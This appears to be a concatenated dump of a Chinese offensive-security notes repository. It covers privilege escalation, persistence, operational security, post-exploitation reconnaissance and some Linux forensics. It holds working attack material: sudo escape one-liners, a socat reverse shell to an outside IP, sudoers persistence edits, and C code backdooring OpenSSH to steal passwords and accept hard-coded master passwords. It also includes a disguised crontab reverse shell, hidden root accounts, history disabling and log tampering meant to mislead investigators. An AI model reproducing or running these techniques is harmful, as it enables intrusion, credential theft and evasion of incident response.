!/bin/bash | sudo命令提权 | 26 | | aplyc1a: sudo ftp
!/bin/bash | sudo命令提权 | 27 | | aplyc1a: sudo vim -c '!sh' | sudo命令提权 | 28 | | aplyc1a: sudo vim
:set shell=/bin/bash
:shell | sudo命令提权 | 29 | | aplyc1a: sudo find /bin name . -exec '/bin/bash' \; | sudo命令提权 | 30 | | aplyc1a: echo "os.execute('/bin/bash')" > /tmp/shell.nse
aplyc1a: sudo nmap --script=/tmp/shell.nse | sudo命令提权 | 31 | | aplyc1a: sudo git help status
!/bin/bash | sudo命令提权 | 32 | | aplyc1a: sudo passwd | sudo命令提权 | 33 | | aplyc1a: sudo awk 'BEGIN{system("/bin/bash")}' | sudo命令提权 | 34 | | aplyc1a: sudo /usr/bin/python -c 'import pty;pty.spawn("/bin/bash")' | sudo命令提权 | 35 | | aplyc1a: sudo bash | sudo命令提权 | 36 | | aplyc1a: sudo csh -b | sudo命令提权 | 37 | | aplyc1a: sudo dmesg -H !/bin/sh | sudo命令提权 | 38 | | aplyc1a: sudo env /bin/sh -p | sudo命令提权 | 39 | | aplyc1a: sudo flock -u / /bin/sh -p | sudo命令提权 | 40 | | aplyc1a: sudo gdb -nx -ex 'python import os;os.execl("/bin/sh","sh","-p")' -ex quit | sudo命令提权 | 41 | | aplyc1a:sudo ed !/bin/sh -p | sudo命令提权 | 42 | | aplyc1a:sudo expect -c 'spawn /bin/sh -p; interact' !/bin/sh -p | | 43 | | aplyc1a:sudo ionice /bin/sh -p | sudo命令提权 | 44 | | aplyc1a:sudo ip netns add foo
aplyc1a:sudo ip netns exec foo /bin/sh -p
#sudo ip netns delete foo | sudo命令提权 | 45 | | aplyc1a:sudo ksh -p | sudo命令提权 | 46 | | aplyc1a:sudo logsave /dev/null /bin/sh -i -p | sudo命令提权 | 47 | | aplyc1a:COMMAND='/bin/sh -p'
aplyc1a:make -s --eval=$'x:\n\t-'"$COMMAND" | sudo命令提权 | 48 | | aplyc1a:sudo nano
ctrl R
CTRL X
reset;sh -p 1>&0 2>&0 | sudo命令提权 | 49 | | aplyc1a:sudo nice /bin/sh -p | sudo命令提权 | 50 | | aplyc1a:CMD="/bin/sh"
aplyc1a:sudo php -r "pcntl_exec('/bin/sh', ['-p']);" | sudo命令提权 | 51 | | aplyc1a: sudo rpm --eval '%{lua:os.execute("/bin/sh -p")}' | sudo命令提权 | 52 | | aplyc1a: sudo rsync -e 'sh -p -c "sh -p 0<&2 1>&2"' 127.0.0.1:/dev/null | sudo命令提权 | 53 | | aplyc1a: setarch $(arch) /bin/sh -p | sudo命令提权 | 54 | | attacker: socat file:'/dev/tty',raw,echo=0 tcp-listen:8888
aplyc1a: sudo socat tcp-connect:87.65.43.21:8888 exec:'/bin/sh -p',pty,stderr | sudo命令提权 | 55 | | aplyc1a: sudo ssh -o ProxyCommand=';sh -p 0<&2 1>&2' x | sudo命令提权 | 56 | | aplyc1a: sudo strace -o /dev/null /bin/sh -p | | 57 | | aplyc1a: sudo stdbuf -i0 /bin/sh -p | sudo命令提权 | 58 | | aplyc1a: sudo taskset 1 /bin/sh -p | sudo命令提权 | 59 | | aplyc1a: sudo tclsh
aplyc1a: exec /bin/sh -p <@stdin >@stdout 2>@stderr | sudo命令提权 | 60 | | aplyc1a: sudo time /bin/sh -p | sudo命令提权 | 61 | | aplyc1a: sudo watch -x sh -c 'reset; exec sh -p 1>&0 2>&0' | sudo命令提权 | 62 | | aplyc1a: sudo xargs -a /dev/null sh -p | sudo命令提权 | 63 | | aplyc1a: sudo zsh | sudo命令提权 | 64 | | aplyc1a: sudo ftp
aplyc1a:!/bin/bash | sudo命令提权 | 65 | 66 | ## sudo缓存提权 67 | 68 | | 命令 | 类型 | 69 | | ------------------------------------------------------------ | ------------ | 70 | | root: echo "Defaults timestamp_timeout=-1" >> /etc/sudoers | sudo缓存提权 | 71 | | root: echo "Defaults "'!'"tty_tickets" >> /etc/sudoers | sudo缓存提权 | 72 | | root: echo "Defaults:walrus !authenticate" >> /etc/sudoers | sudo缓存提权 | 73 | 74 | ## 增强隐蔽性 75 | 76 | ```shell 77 | echo "aplyc1a ALL=(root) NOPASSWD:/usr/bin/*,/usr/sbin/*" >> /etc/sudoers.d/README 78 | ``` 79 | 80 | 81 | 82 | 83 | 84 | -------------------------------------------------------------------------------- /持久控制/Linux/定制化OpenSSH后门.md: -------------------------------------------------------------------------------- 1 | # OpenSSH后门制作 2 | 3 | 网上关于OpenSSH的后门都是抄来抄去,普遍都是对某个早期版本的OpenSSH打patch进行的,这样的后门使用起来就是自己骗自己,隐蔽性不强,兼容度也极低。因此,花了一段时间研究怎么手工制作OpenSSH后门,这样的后门定制度高,与服务器上OpenSSH版本一致,隐蔽性也较强。 4 | 5 | 本教程主要记录怎么制作硬编码口令后门及密钥窃听后门,实际上使用OpenSSH源码编译后门能做的还有很多,如硬编码免密后门、命令执行、攻击痕迹清理等。 6 | 7 | ## Debian系-OpenSSH后门 8 | 9 | ### 确定版本 10 | 11 | ```shell 12 | dpkg -S /usr/sbin/sshd 13 | dpkg -l openssh-server 14 | ## apt-get download openssh-server=1:8.4p1-5 15 | ``` 16 | 17 | ### 下载源码 18 | 19 | ```shell 20 | # 这是Debian版的下载地址。 21 | https://tracker.debian.org/pkg/openssh 22 | https://salsa.debian.org/ssh-team/openssh/-/archive/debian/1%258.4p1-5/openssh-debian-1%258.4p1-5.zip 23 | # 这是Ubuntu版的下载地址。 24 | https://launchpad.net/ubuntu/+source/openssh 25 | https://launchpad.net/ubuntu/+source/openssh/1:8.4p1-5ubuntu1 26 | ``` 27 | 28 | ### 添加后门代码 29 | 30 | 下面给出发现的一些可利用的位置,实战中使用基本足矣。 31 | 32 | ```shell 33 | [ssh] 34 | readpass.c ... read_passphrase 35 | sshconnect2.c ... userauth_passwd 36 | 37 | [sshd] 38 | monitor.c ... mm_answer_authpassword 39 | auth-passwd.c ... auth_password 40 | auth-pam.c ... sshpam_auth_passwd //大多数ssh都默认使用pam进行认证 41 | ``` 42 | 43 | 具体的添加步骤,这里给出几个简单例子。 44 | 45 | #### 偷密码 46 | 47 | ```c 48 | // sshconnect2.c:userauth_passwd ssh(偷连向其他服务器的密码) 49 | FILE *fp = NULL; 50 | fp = fopen("/tmp/.ssh-2AKMo5YJSRPJ", "a+"); 51 | fprintf(fp, "{\"%s@%s\":\"%s\"} (%s:%s)\n",authctxt->server_user,authctxt->host,password,authctxt->local_user,authctxt->service); 52 | fclose(fp); 53 | 54 | // auth-passwd.c:auth_password sshd(记录本机接收到的密码) 55 | // 如果添加在具体的认证函数之前可获得所有登录尝试下的密码,用于口令分析 56 | // 如果添加在认证通过后就是专门用于偷口令的OpenSSH口令窃取后门 57 | FILE *fp = NULL; 58 | time_t timep; 59 | struct tm * lt; 60 | time (&timep); 61 | lt=localtime(&timep); 62 | fp = fopen("/tmp/.sshd_listener.log", "a+"); 63 | fprintf(fp, "[%ld/%d/%d %d:%d:%d] [%d] %s:%d --> %s:%d { \"%s\" : \"%s\" }\n", \ 64 | //asctime(gmtime(&timep)), 65 | lt->tm_year+1900,lt->tm_mon+1,lt->tm_mday,lt->tm_hour,lt->tm_min,lt->tm_sec,\ 66 | timep, \ 67 | ssh->remote_ipaddr, \ 68 | ssh->remote_port,\ 69 | ssh->local_ipaddr, \ 70 | ssh->local_port,\ 71 | authctxt->user,password); 72 | fclose(fp); 73 | ``` 74 | 75 | #### 万能口令 76 | 77 | 使用硬编码的万能口令能登录任意用户。 78 | 79 | ```c 80 | // auth-passwd.c:auth_password sshd 81 | if (!strcmp(password, "testme12#$")) return 1; 82 | 83 | // monitor.c:mm_answer_authpassword sshd 84 | 原来代码如下:authenticated = options.password_authentication && auth_password(ssh, passwd); 85 | 改为:authenticated = options.password_authentication && auth_password(ssh, passwd) || strcmp(passwd, "laotie666")==0; 86 | ``` 87 | 88 | ### 编译安装 89 | 90 | ```shell 91 | apt-get install libpam0g-dev libselinux1-dev 92 | 93 | clear;rm -rf /usr/local/share/man/man5/authorized_keys.5;rm -rf ~/.ssh;make clean; ./configure --with-zlib --with-ssl-dir --with-pam --bindir=/usr/bin --sbindir=/usr/sbin --sysconfdir=/etc/ssh --with-md5-passwords --with-selinux --with-privsep-path=/run/sshd ; make && make install 94 | 95 | clear;rm -rf /usr/local/share/man/man5/authorized_keys.5;rm -rf ~/.ssh;make clean; ./configure --with-zlib --with-ssl-dir --with-pam --bindir=/usr/bin --sbindir=/usr/sbin --sysconfdir=/etc/ssh --with-md5-passwords --with-selinux --with-privsep-path=/var/lib/sshd/ ; make && make install 96 | # 实际上源码编译并安装后会发现ssh和sshd都替换掉了。因为我们的源码包是openssh的,不单纯是openssh-server 97 | ``` 98 | 99 | ### 效果 100 | 101 | 下图中可以看到Debian上使用带窃听功能的ssh后门尝试登录服务器时,记录到的密码。 102 | 103 | ![](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-06_173536.jpg) 104 | 105 | 下图是其他设备尝试以万能口令登录Debian服务器的效果。 106 | 107 | ![](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-06_175822.jpg) 108 | 109 | Debian服务器上带窃听后门代码的sshd上也可以看到输入的密码信息。 110 | 111 | ![](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-06_175916.jpg) 112 | 113 | ## RHEL系-OpenSSH后门 114 | 115 | ### 确定版本 116 | 117 | ```shell 118 | rpm -qf /usr/sbin/sshd 119 | ``` 120 | 121 | ### 下载源码 122 | 123 | ```shell 124 | https://cloudflare.cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/ 125 | https://cloudflare.cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-7.8p1.tar.gz 126 | https://cloudflare.cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-7.8p1.tar.gz.asc 127 | ``` 128 | 129 | ### 添加后门代码 130 | 131 | 参考上面Debian系的添加方法,都是一样的。 132 | 133 | ### 编译安装 134 | 135 | **step1** 源码编译 136 | 137 | ```shell 138 | yum -y install pam-devel libselinux-devel zlib zlib-devel openssl-devel openssl-libs make gccwget http://vault.centos.org/8.4.2105/BaseOS/Source/SPackages/openssh-8.0p1-6.el8_4.2.src.rpmrpm -i openssh-8.0p1-6.el8_4.2.src.rpmcd ~/rpmbuild# 编译选项可查看./contrib/redhat/openssh.specclear;rm -rf /usr/local/share/man/man5/authorized_keys.5;rm -rf ~/.ssh /etc/ssh ;make clean; ./configure --with-zlib --with-ssl-dir --with-pam --bindir=/usr/bin --sbindir=/usr/sbin --sysconfdir=/etc/ssh --with-md5-passwords --with-selinux --with-privsep-path=/run/sshd ; make && make install 139 | ``` 140 | 141 | **step2** 编写sshd.service文件 142 | 143 | ```shell 144 | cat /etc/systemd/system/sshd.service < vps1-->vps2-->target 65 | 66 | 下面给出一种具体实现: 67 | 68 | #### frp搭二级跳板代理 69 | 70 | **vps1上配置frps.ini:** 71 | 72 | ```shell 73 | [common] 74 | bind_addr =0.0.0.0 75 | bind_port = 7000 76 | auto_token = a10232mpoxsa80fcis 77 | ``` 78 | 79 | **vps2上配置frpc.ini:** 80 | 81 | ```shell 82 | [common] 83 | server_addr = 192.168.44.128 84 | server_port = 7000 85 | auto_token = a10232mpoxsa80fcis 86 | 87 | [socks_proxy] 88 | type = tcp 89 | remote_port = 32354 90 | plugin = socks5 91 | plugin_user = mznsu-12 92 | plugin_passwd = tLJmxMhsy32xuaq8enYxqs3Vcg 93 | use_encryption = true 94 | use_compression = true 95 | 96 | [http_proxy] 97 | type = tcp 98 | remote_port = 42354 99 | plugin = http_proxy 100 | plugin_user = qnsue-23 101 | plugin_passwd = Pmsduw2e39dnw46iTLW54UBKJ3F 102 | use_encryption = true 103 | use_compression = true 104 | ``` 105 | 106 | **启动代理** 107 | 108 | ```shell 109 | vps1:./frps frps.ini 110 | vps2:./frpc -c ./frpc.ini 111 | ``` 112 | 113 | **使用代理** 114 | 115 | (1)socks5代理: socks5://mznsu-12:tLJmxMhsy32xuaq8enYxqs3Vcg@192.158.44.128:32354 116 | 117 | (2)http代理: http://qnsue-23:Pmsduw2e39dnw46iTLW54UBKJ3F@192.158.44.128:42354 118 | 119 | 之后在相关软件上配置好对应代理即可。 120 | 121 | 122 | 123 | ### 1.3 CDN 124 | 125 | https://blog.csdn.net/qq_41874930/article/details/109008708 126 | 127 | ### 1.4 域前置 128 | 129 | https://blog.csdn.net/qq_41874930/article/details/109008708 130 | 131 | ### 1.5 代理池 132 | 133 | 网上有部分服务商提供了代理池服务,该服务能够在一定时间内快速变换IP,这一技术不仅增加了封IP的困难,也极大的提高了溯源的难度。 134 | 135 | 阿里云、腾讯云、快代理、芝麻HTTP等等等等。 136 | 137 | ### 1.6 访问策略 138 | 139 | iptables设置访问策略,该策略优先级是从上向下逐次匹配的。 140 | 141 | ```shell 142 | iptables -I INPUT -s 111.111.0.0/16 -p tcp --dport 22 -j ACCEPT 143 | iptables -I INPUT -s 192.168.1.123 -p tcp --dport 1521 -j ACCEPT 144 | iptables -I INPUT 2 -p tcp --dport 22 -j DROP 145 | ``` 146 | 147 | 148 | 149 | 150 | 151 | ## 2 匿名化 152 | 153 | ### 2.1 登录注册 154 | 155 | **在线手机接收验证码平台**: 156 | 157 | http://yunjiema.net/ 158 | 159 | http://www.z-sms.com/ 160 | 161 | (https://www.jianshu.com/p/8c064db1e6a1,等等) 162 | 163 | **在线临时邮箱**: 164 | 165 | https://www.123cha.com/mailtemp/ 166 | 167 | https://yopmail.com/zh/ 168 | 169 | https://www.linshiyouxiang.net/ 170 | 171 | http://24mail.chacuo.net/ 172 | 173 | 174 | 175 | ### 2.2 工具匿名化 176 | 177 | 传到目标设别上的工具,要注意是否含有硬编码的身份相关的信息,如: 178 | 179 | 1.内部工具是否有作者信息 180 | 181 | 2.程序内是否含有调试文件的目录路径,该路径是否含有身份信息。 182 | 183 | 184 | 185 | ## 3 流量隐藏 186 | 187 | ### 3.1 工具流量指纹 188 | 189 | 尽可能的对工具做定制化的修改,模糊掉工具内原本的指纹。 190 | 191 | (webshell连接工具)蚁剑: 192 | 193 | (漏洞利用协作平台)cs: 194 | 195 | ### 3.2 隐蔽通信 196 | 197 | 过去,使用DNS、ICMP协议作为C2载体协议被认为是一种不错的隐蔽通信方案。随着现在越来越多的流量检测设备面世,这种方式不再像过去一样有效了,这时因为DNS和ICMP协议的协议包大小及内部结构常常是有固定的模式可循的,因此稍有变动,从原理上来说就非常容易被发现。基于HTTP(s)的隐蔽通信由于其天生的结构特点与应用场景,在实战环境中更加隐蔽。有时甚至在想会不会以后出现用TCP SYN发莫斯码实现数据传输。隐蔽通信的方法不断的在演进。 198 | 199 | ## 4 手法隐蔽 200 | 201 | 尽可能的降低在入口突破后产生的攻击噪音,有不少地方是值得关注的: 202 | 203 | ### 4.1 后门的隐藏 204 | 205 | #### 4.1.1 后门公钥 206 | 207 | 添加公钥到.authorized_keys,这种方式已经用烂了,不新鲜了。还是蛮容易被发现的。 208 | 209 | #### 4.1.2 后门账户 210 | 211 | **windows 影子账户** 212 | 213 | **linux账户** 214 | 215 | ```shell 216 | useradd -u 0 -o -g root -G root -M -s /bin/bash admin 217 | useradd -d /root -c "config" -s /bin/bash config 218 | useradd -d /home/... -s /bin/bash x -m 219 | ``` 220 | 221 | #### 4.1.3 定时任务后门 222 | 223 | ```shell 224 | (crontab -l;printf "*/1 * * * * bash -i >& /dev/tcp/192.168.44.128/5555 0>&1;\rno crontab for `whoami`%100c\n")|crontab - 225 | 226 | (crontab -l;printf "*/1 * * * * ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337' ;\rno crontab for `whoami`%100c\n")|crontab - 227 | 228 | ``` 229 | 230 | #### 4.1.x rootkit 231 | 232 | ### 4.2 历史记录的关闭 233 | 234 | | 命令 | 235 | | ------------------------------------------------------------ | 236 | | export HISTFILESIZE=0 | 237 | | export HISTFILE=/dev/null | 238 | | unset HISFILE | 239 | | /bin/sh -c 'mv .bash_history ..bash_history;mkdir -p .bash_history' | 240 | | /bin/sh -c 'chattr +i .bash_history ' | 241 | 242 | ### 4.3 文件的隐藏 243 | 244 | windows下的文件高级文件隐藏 245 | 246 | Linux下的文件隐藏 247 | 248 | ### 4.4 工具的免杀 249 | 250 | ### 4.5 通信的频率 251 | 252 | ### 4.6 隐身登录 253 | 254 | ```shell 255 | ssh username@hostname "bash --noprofile --norc" 256 | 257 | ssh -T username@host /bin/bash -i 258 | 259 | ssh -o UserKnownHostsFile=/dev/null -T user@hostname 260 | /bin/bash -if 261 | ``` 262 | 263 | 264 | 265 | ## 5 入侵痕迹清理 266 | 267 | ### 5.1 攻击过程文件 268 | 269 | 后门账户 270 | 271 | webshell 272 | 273 | 远控 274 | 275 | 扫描器 276 | 277 | 提权工具 278 | 279 | 280 | 281 | ### 5.2 历史记录、日志 282 | 283 | 对于日志痕迹的擦除,无痕迹是最高标准,但往往是难以实现的,就像没有完美的犯罪一样,攻击现场再怎么清理总会留下些东西。实际过程中最常用篡改和删除,但是篡改比蛮删更狡猾,更能迷惑溯源人员对攻击事件的判断。下面介绍篡改,至于删除就不提了。 284 | 285 | 哪些日志? 286 | 287 | ```shell 288 | .bash_history 289 | lastlog 290 | access_log 291 | auth 292 | secure 293 | ``` 294 | 295 | ### 5.3 清理手法 296 | 297 | IP信息删除: 298 | 299 | ```shell 300 | sed -i '/^101/d' /var/log/nginx/access.log 301 | sed -i "/vim/d" ~/.bash_history 302 | sed -i "/1609838134/d" ~/.bash_history 303 | 304 | ``` 305 | 306 | 307 | -------------------------------------------------------------------------------- /内网安全与后渗透/getshell后的基本信息收集.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | ## 基本信息收集 4 | 5 | ### 系统类型判断 6 | 7 | 使用**whoami**能快速判断系统是Linux还是Windows。 8 | 9 | 如果是Windows, 10 | 11 | 使用命令**systeminfo | findstr OS**可得到WIndows版本。 12 | 13 | ![2021-07-04_222300](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-04_222300.jpg) 14 | 15 | 使用命令**echo %PROCESSOR_ARCHITECTURE%**可看出系统是基于什么架构的。 16 | 17 | ![2021-07-04_222229](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-04_222229.jpg) 18 | 19 | 如果是Linux, 20 | 21 | 判断系统是**RHEL**系还是**Debian**系,往往需要综合起来看。实际场景下,有时拿到的shell是个docker,包管理器可能还给裁掉了。 22 | 23 | ```shell 24 | #查看内核版本信息,有时能直接看到操作系统类型。 25 | uname -ar 26 | cat /etc/issue 27 | cat /proc/version 28 | cat /etc/redhat-release 29 | 30 | yum/rpm #RHEL系特有的包管理器 31 | apt/dpkg #Debian系特有的包管理器 32 | ``` 33 | 34 | 判断系统CPU指令集。是**armv8/arm64/aarch64**的还是**x64/x86_64**的。这个会影响提权以及上传二进制工具可不可用的问题。 35 | 36 | ```shell 37 | arch 38 | uname -m 39 | ``` 40 | 41 | ### 权限与账户 42 | 43 | 如果是Linux 44 | 45 | ```shell 46 | #查看自己身份 47 | whoami 48 | id 49 | w 50 | who 51 | 52 | #查看用户列表 53 | cat /etc/passwd 54 | ``` 55 | 56 | 需额外留意一下自己有没有被分配可交互的shell 57 | 58 | ```shell 59 | cat /etc/passwd|grep `whoami` 60 | 或,cat ~/*_history 61 | ``` 62 | 63 | 如果是Windows 64 | 65 | ```cmd 66 | whoami 67 | ``` 68 | 69 | 需额外留意一下自己是不是域用户。可以参考后面的域信息收集部分。 70 | 71 | 72 | 73 | ### 网络与端口 74 | 75 | 查看网络信息,重点关注地址是不是公网的,是不是多网卡,有没有开放一些有意思的服务端口。由于此时我们已经有个shell了,因此端口信息用处不是特别大,考虑提权的话可能用得上。 76 | 77 | 78 | 79 | 如果是Linux 80 | 81 | ```shell 82 | #IP 83 | ifconfig 84 | ip addr 85 | 86 | #端口 87 | netstat -ntalp 88 | 89 | #使用下面命令,获得公网IP 90 | curl ifconfig.me 91 | curl cip.cc 92 | 93 | #路由及MAC表 94 | route print 95 | arp -a 96 | ``` 97 | 98 | 99 | 100 | 如果是Windows 101 | 102 | ```shell 103 | #IP 104 | ipconfig 105 | 106 | #端口 107 | netstat -ano 108 | ``` 109 | 110 | 111 | 112 | ### 软件与系统补丁 113 | 114 | **windows** 115 | 116 | ```cmd 117 | systeminfo 118 | wmic product get name,version 119 | Get-wmiObject -class Win32_Product | Select-Object -Property name,version 120 | wmic qfe get Caption,Description,HotFixID,InstalledOn 121 | ``` 122 | 123 | ![2021-07-07_154933](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-07_154933.jpg) 124 | 125 | **linux** 126 | 127 | ```shell 128 | #debian系 129 | dpkg -l 130 | #RHEL系 131 | yum list installed 132 | ``` 133 | 134 | 135 | 136 | ### 进程与服务信息 137 | 138 | windows 139 | 140 | ```shell 141 | #查看进程信息 142 | tasklist | findstr 360 143 | wmic process list brief 144 | #查看当前服务信息 145 | wmic service list brief 146 | ``` 147 | 148 | 149 | 150 | linux 151 | 152 | ```shell 153 | #查看进程信息 154 | ps aux 155 | pstree 156 | ps auxwff 157 | top 158 | #查看当前已启用服务 159 | systemctl list-unit-files|grep enabled 160 | ``` 161 | 162 | 163 | 164 | ## 域基本信息收集 165 | 166 | ### 判断是否处于域 167 | 168 | ```shell 169 | net time /domain 170 | ``` 171 | 172 | 如果存在域且是域用户,返回如下信息。 173 | 174 | ![2021-07-07_145117](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-07_145117.jpg) 175 | 176 | 如果存在域但自身不是域用户,返回如下信息。 177 | 178 | ![2021-07-07_145718](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-07_145718.jpg) 179 | 180 | ### 定位域控 181 | 182 | **方法一**、定位DNS服务器。一般来说域控同时也是域内的DNS服务器。使用ping或nslookup查找所处域即可知道域控IP。 183 | 184 | **方法二、**net命令族 185 | 186 | ```cmd 187 | net time /domain 188 | ``` 189 | 190 | ![2021-07-07_145117](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-07_145117.jpg) 191 | 192 | ```cmd 193 | net group "Domain Controllers" /domain 194 | ``` 195 | 196 | ![2021-07-07_150555](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-07_150555.jpg) 197 | 198 | ```cmd 199 | net group /domain 200 | ``` 201 | 202 | 203 | 204 | ![2021-07-07_150357](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-07_150357.jpg) 205 | 206 | ```cmd 207 | nltest /DCLIST:[域地址] 208 | ``` 209 | 210 | ![2021-07-07_150357](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-07_151052.jpg) 211 | 212 | ### 定位域管 213 | 214 | ![2021-07-07_150522](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-07_150522.jpg) 215 | 216 | ```cmd 217 | net localgroup administrators /domain 218 | ``` 219 | 220 | ![2021-07-07_150647](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-07_150647.jpg) 221 | 222 | ## 虚拟化设备识别 223 | 224 | ### 虚拟机 225 | 226 | 有时需要判断我们拿到的设备是实体设备还是虚拟设备。 227 | 228 | **Linux** 229 | 230 | 下面的命令能很明确的告诉我们设备是kvm、vmware等设备。 231 | 232 | ```shell 233 | grep -rn "etected virtualization" /var/log 234 | 235 | 236 | root@walrus:/share# dmesg |grep vmware 237 | [ 0.000000] vmware: hypercall mode: 0x00 238 | [ 0.000000] vmware: TSC freq read from hypervisor : 2592.004 MHz 239 | [ 0.000000] vmware: Host bus clock speed read from hypervisor : 66000000 Hz 240 | [ 0.000000] vmware: using clock offset of 19057102439 ns 241 | [ 3.906114] systemd[1]: Detected virtualization vmware. 242 | [root@xxx ~]# grep -rn "kvm" /var/log 243 | /var/log/messages-20210704:2609:Jul 1 02:18:35 xxx systemd[1]: Detected virtualization kvm. 244 | ``` 245 | 246 | 以及, 247 | 248 | ```shell 249 | lscpu|grep "Hypervisor vendor" 250 | systemd-detect-virt 251 | dmidecode --string system-manufacturer 252 | dmidecode --string system-product-name 253 | ``` 254 | 255 | **windows** 256 | 257 | 检查是否存在一些特征文件 258 | 259 | ```cmd 260 | //vmware 261 | "C:\\Windows\\System32\\vmGuestLib.dll", 262 | "C:\\Windows\\System32\\vmGuestLib.dll\\vsocklib.dll", 263 | "C:\\Program Files\\VMware\\VMware Tools\\rpctool.exe", 264 | "C:\\Windows\\System32\\drivers\\vmmouse.sys", 265 | //vitualbox 266 | "C:\\windows\\System32\\Drivers\\VBoxMouse.sys", 267 | "C:\\windows\\System32\\Drivers\\VBoxGuest.sys", 268 | "C:\\windows\\System32\\Drivers\\VBoxSF.sys", 269 | "C:\\windows\\System32\\Drivers\\VBoxVideo.sys", 270 | "C:\\windows\\System32\\vboxdisp.dll" 271 | ``` 272 | 273 | 274 | 275 | 不过,不论Linux还是Windows最简单粗暴的办法就是查看MAC地址了。获得MAC地址后使用在线MAC地址厂商识别工具进行查找就能判断出网卡类型进而确认设备是实体机还是虚拟机。 276 | 277 | 以上是相对而言容易进行操作的方案,还有一些更为琐碎专业的方法: 278 | 279 | https://www.zhihu.com/question/359121561?sort=created 280 | 281 | https://zhuanlan.zhihu.com/p/27823437 282 | 283 | 284 | 285 | ### docker 286 | 287 | 上面用于判断是否虚拟机的技巧常被用于病毒、木马等恶意文件做逃逸及躲避沙箱检测时的要用到的技术,实际场景下用的最多的是判断当前拿到的服务器是不是docker。 288 | 289 | 如果发现环境缺少很多命令如(yum/rpm/apt/dpkg/wget/curl/ifconfig)或发现系统的进程非常少就要怀疑是不是处于docker环境内了。 290 | 291 | ![2021-07-07_154251](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-07_154251.jpg) 292 | 293 | 此外,还可以通过一些特征文件来证实我们猜测的有效性。 294 | 295 | ```shell 296 | ls -al /.dockerenv 297 | cat /proc/1/cgroup|grep docker 298 | ``` 299 | 300 | ![2021-07-07_152415](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-07_152415.jpg) 301 | 302 | ## -------------------------------------------------------------------------------- /取证溯源/Linux取证-(3).md: -------------------------------------------------------------------------------- 1 | [TOC] 2 | 3 | # 0xA 一些辅助技术 4 | 5 | ## 1 文件完整性校验 6 | 7 | 如果使用仓库源(apt/yum)安装的方式或包管理器安装的方式(dpkg/rpm),使用下面方法可以确定归属。 8 | 9 | ```shell 10 | # Debian: 11 | dpkg -S $filename #确定所属的包 12 | 13 | dpkg -l $package #获得包版本 14 | apt-cache policy $package #等效于上面的命令 15 | 16 | # RHEL: 17 | rpm -qf $filename 18 | ``` 19 | 20 | 之后进行包管理自检 21 | ```shell 22 | # Debian: 23 | dpkg -V $package #确定所属的包 24 | 25 | # RHEL: 26 | rpm -V $package 27 | ``` 28 | 29 | 30 | 31 | 包管理器不可用的话,需要手工下载对应版本的包并进行散列校验。解包命令如下: 32 | 33 | ```shell 34 | # Debian系: 35 | dpkg -X ./xxx.deb extract #解压到extract目录 36 | dpkg -i ./xxx.deb #安装该deb包 37 | 38 | # RHEL系: 39 | rpm2cpio xxx.rpm | cpio -div #解压到当前目录 40 | rpm -i xxx.rpm #安装该rpm包 41 | 42 | # bin文件: 43 | chmod +x xxx.bin; ./xxx.bin 44 | #这类文件比较特殊,可以在虚拟机里面安装后获得二进制,再算散列值。 45 | 46 | #解包之后,将待分析的文件与解包出的文件分别计算散列值进行比较。 47 | ``` 48 | 49 | 50 | 51 | 对于python文件的定位上面比较捉急,可以采用下面的办法。 52 | 53 | ```shell 54 | #step 1获得目标脚本所在的路径,记为$py_pth 55 | 56 | #匹配该路径是否属于pip管理 57 | python -m site |grep $py_pth 58 | python3 -m site |grep $py_pth 59 | 60 | #确认所属包 61 | pip3 list|grep ${关键字} 62 | pip3 show xxx 63 | 64 | #重新下载一份该版本的包,如 65 | pip3 download robotframework==2.8.7 -i https://pypi.tuna.tsinghua.edu.cn/simple --trusted-host pypi.tuna.tsinghua.edu.cn 66 | #解压之。如果文件扩展名为whl当成zip解压即可。 67 | 68 | #比较新下载的文件与待分析文件散列值 69 | md5sum a.pyc b.pyc 70 | ``` 71 | 72 | 当然,也可以考虑pyc逆向,网上有不少文章。如,https://zhuanlan.zhihu.com/p/121054235 73 | 74 | 75 | ## 2 时间戳关联分析 76 | 77 | 时间戳分析用于在掌握一定攻击线索的情况下找出对应时间范围内的文件操作(文件访问、文件内容修改、文件属性修改)记录。时间戳分析不是可靠的,但是有时能对前后关联事件分析起到意想不到的效果。 78 | 79 | 时间戳的不可靠在于: 80 | 81 | 1. 系统的升级、软件的安装可能会改变文件的时间戳; 82 | 83 | 2. 对重启过的系统分析临时生成的文件无意义。(/sys、/proc、/tmp); 84 | 85 | 3. 攻击者具备手工修改3种类型时间戳的能力。 86 | 87 | 时间戳有至少3种: 88 | 89 | 1. 最近访问(access)。读写复制文件都会影响该时间戳。 90 | 91 | 2. 最近更改(modify)。更改文件的内容时会影响该时间戳。 92 | 93 | 3. 最近改动(change)。更改文件的属性(权限、属主组、硬链接)与内容都会影响该时间戳。 94 | 95 | 4. 创建时间(crtime)。在ext4系统上文件有该时间戳,全局唯一,难篡改。 96 | 97 | 98 | 99 | 使用时间戳分析参考这样的思路,给定一个攻击线索,查看线索上的时间戳(stat命令可以查看文件时间戳),分析是否存在该时间段前后发生变动的文件(使用find命令)。 100 | 101 | ```shell 102 | find命令支持对三种时间戳的过滤。 103 | find / {-atime/-ctime/-mtime/-amin/-cmin/-mmin} [-/+]num 104 | a:access c:change m:modify 105 | 106 | time以天为单位,min以分钟为单位,-表示以内,+表示以前。 107 | find 参数间默认时and逻辑,如果想用“或”使用“-or”,否使用“!”。 108 | 109 | 